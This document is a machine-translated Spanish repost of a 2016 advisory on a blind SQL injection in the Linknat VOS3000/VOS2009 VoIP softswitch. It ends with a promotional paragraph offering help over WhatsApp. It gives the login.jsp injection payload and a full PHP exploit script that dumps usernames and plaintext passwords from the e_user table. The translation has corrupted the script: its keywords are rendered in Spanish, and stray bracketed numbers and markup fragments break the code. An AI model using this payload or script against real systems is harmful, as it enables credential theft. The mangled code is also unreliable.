Inyección SQL Linknat VOS2009/VOS3000
Desde: Osama Khalid <osama ()="" codinghazard="" com="">
Fecha: Jue, 19 May 2016 16:52:54 +0500</osama>
Se encontró una inyección SQL en Linknat VOS3000/VOS2009, un VoIP popular softswitch, que podría permitir a los atacantes remotos obtener acceso a la credenciales almacenadas en texto sin formato. Aplicación: Linknat VOS3000/VOS2009 Versiones afectadas: 2.1.1.5, 2.1.1.8, 2.1.2.0 URL del proveedor: http://www.linknat.com/ Error: SQLi (con privilegios DBA) Tipo: Remoto Resolución: Corregido, actualización a 2.1.2.4 o 2.1.6.0 Versión limpia Referencia: WooYun-2015-145458 - http://www.wooyun.org/bugs/wooyun-2010-0145458 El SQLi reportado es ciego basado en el tiempo. Dado que no es un SQLi en banda, el resultados pueden obtenerse de la salida de la bienvenida.jsp durante el mismo Sesión. (1a solicitud) POST http://target/eng/login.jsp PARAM loginType-1 name ' unión seleccione 1,2,@@version,'hola',5,6? pase ' O ''' ' (2a solicitud durante la misma sesión) OBTENGA http://target/eng/welcome.jsp RESULTADO 0 ' selección de unión 1,2,@@version,'hola',5,6'1'5.0.51a-comunidad''hola'0.00'0.00' [ EXPLOIT CODE ]<?php # # Linknat VOS2009/VOS3000 SQLi exploit # # DISCLAIMER: The exploit is to be used for educational purposes only # The author would not be responsible for any misuse # # AUTHOR: Osama Khalid # WEBSITE: http://www.codinghazard.com/ # DATE: 19/05/2016 # REF: http://www.wooyun.org/bugs/wooyun-2010-0145458 if ($argc < 2) { banner(); usage(); exit; } $host = $argv; $column_[1]one = isset($argv) ? $argv :[2] "loginna[2]me"; $column_two = isset($argv) ? $argv : [3]"password[3]"; $table = isset($argv) ? $argv : "[4]e_user"; [4]$other = isset($argv) ? $argv : ""[5]; functi[5]on banner() { echo "########################################n"; echo "# #n"; echo "# Linknat VOS3000/VOS2009 SQLi exploit #n"; echo "# #n"; echo "# Osama Khalid #n"; echo "########### codinghazard.com ###########n"; } function usage() { echo "n"; echo "php vos3000.php n"; echo "php vos3[HOST]000.php 127.0.0.1n"; echo "php vos3000.php n"; echo "php v[HOST]o[COL1]s[COL2]3[TABLE]00[OTHER SQL]0.php 127.0.0.1 table_schema table_name information_schema.tables "where table_schema = 'mysql'" n"; } function curl($url, $post = array(), $cookies = null, $header = false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false); curl_setopt($curl, CURLOPT_HEADER, $header); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if ($cookies != null) curl_setopt($curl, CURLOPT_COOKIE, $cookies); if (count($post) > 0) ? foreach ( $post como $key > $value) $post_items : $key . '=' . urlencode($value); [] $post_string á implode('&', $post_items); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string); } $data - curl_exec($curl); curl_close($curl); $data de retorno; } consulta de función ($host, $query) $data á curl("http://$host/eng/login.jsp";, array( "loginType" (> 1, "nombre" > "' unión " . $query . "#", "pasar" > "' O ''''" ), null, true); preg_match_all('' Set-Cookie: (.*$matches $data); $cookies de implode('; ', $matches); $data á curl("http://$host/eng/welcome.j[1]sp";, array(), $cookies, false); $parts de explosión ("", recorte($data)); si (cuenta($parts) < 7) return false; return array($parts, $parts); } function ascii_table($data) { [3]$keys = [4]array_keys(end($data)); $wid = array_map('strlen', $keys); foreach($data as $row) { foreach(array_values($row) as $k => $v) $wid de n.o s2 ($wid, strlen($v)); } foreach($wi[$k]d as $k ?> [$k]$v) $fmt : "%--$v"; $sep á str_repeat('-', $v); [$k] } $fmt de la página d[$k]e la casa de la casa de los ' . implode(' ? ', $fmt) . ' |'; $sep '+-' . implode('-+-', $sep) . '-+'; $buf á array($sep, vsprintf($fmt, $keys), $sep); foreach($data as $row) ? $buf : vsprintf($fmt, $row)[]; $buf á $sep; } implo[]de de retorno ("n", $buf); } banner(); echo "n"; echo "Target: $host-n"; echo "Column #1: $column_one-n"; echo "#2 de columnas: $column_two-n"; echo "Tabla: $table"; echo "Otros: $other"; echo "n"; $results - array(); $count_result á query($host, "SELECT 1,2,COUNT(*),4,5,6 FROM $table $other"); si ($count_result) ? $count de intval($count_result); echo "Found $count rows... para[0] ($i-0;<$count; $i++)="" {="" $q="SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table $other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" . hex2bin($result) . " ,="" "="" .="" $column_two="" .=[0]"" "=" . hex2bin($result) . " n";="" }="" else="[1]" {="" echo="" "error="" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="array($column_one" []==""> hex2bin $i($result), $column_dos •[0]> hex2bin($result)); } if (c[1]ount($results) > 0) echo de eco ". ascii_table($results) . "n"; } •otra cosa? echo "Error al recuperar el recuento de filas"; } ?></$count;>
A partir de 2016 Personas que utilizan algunos productos blandos de inyección sql para hackear VOS3000, Tenemos nuestro propio sistema de seguridad de ese momento, actualizamos nuestro sistema de seguridad demasiado fuerte ahora, mi enfoque de trabajo siempre fue para la seguridad para voip soft-switch. La mayoría de las veces di consejos gratuitos o compartía información tanto como posible sin costo. Todavía hay un montón de cosas sucias corriendo alrededor, así que por favor tenga cuidado siempre y sepa más. De lo contrario, nunca podrás hacer un buen negocio. Ahora en día Las personas que utilizan scripts ocultos o malwares en el software cliente VOS3000 para hackear VOS Server.
Para más ayuda Knock me en whatsapp: +8801911119966 – voy a hacer ayuda a todas las maneras.
